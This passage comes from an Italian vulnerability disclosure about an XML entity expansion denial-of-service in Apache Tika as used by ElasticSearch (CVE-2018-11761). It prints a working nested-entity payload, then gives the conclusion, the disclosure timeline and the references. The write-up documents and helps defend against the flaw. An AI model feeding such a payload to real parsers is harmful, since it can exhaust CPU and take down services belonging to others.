000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
]>
<foo>&d;</foo>
* Quindi, l'utilizzo della CPU aumenterà rapidamente e in modo evidente.
# Conclusione
Questa vulnerabilità è in realtà causata dall'implementazione del parser XML di Apache Tika. Nel frattempo, penso che tutti i servizi che utilizzano Tika per analizzare file XML dovrebbero essere ugualmente interessati.
# Cronologia
* 2018-07-25: Segnalato al team di sicurezza di Apache e al team di sicurezza del prodotto Elastic.
* 2018-07-26: Ricevuto riconoscimento e conferma dal PMC di Apache Tika.
* 2018-07-27: Ricevuto riconoscimento dal team di sicurezza del prodotto Elastic.
* 2018-09-19: Ricevuto annuncio [CVE-2018-11761](https://lists.apache.org/thread.html/5553e10bba5604117967466618f219c0cae710075819c70cfb3fb421@%3Cdev.tika.apache.org%3E) dal team di Apache Tika e confermato che il problema è stato risolto in Apache Tika 1.19 o successivo.
* 2018-11-27: Il team di sicurezza del prodotto Elastic ha confermato che ElasticSearch 6.4.3 ha risolto il problema.
# Riferimenti
* http://avfisher.win/archives/1021
* https://github.com/elastic/elasticsearch
* https://github.com/apache/tika
* http://www.ws-attacks.org/XML_Entity_Expansion
* https://xerces.apache.org/xerces2-j/javadocs/api/javax/xml/XMLConstants.html#FEATURE_SECURE_PROCESSING
* https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html
* http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html
* http://openjdk.java.net/jeps/185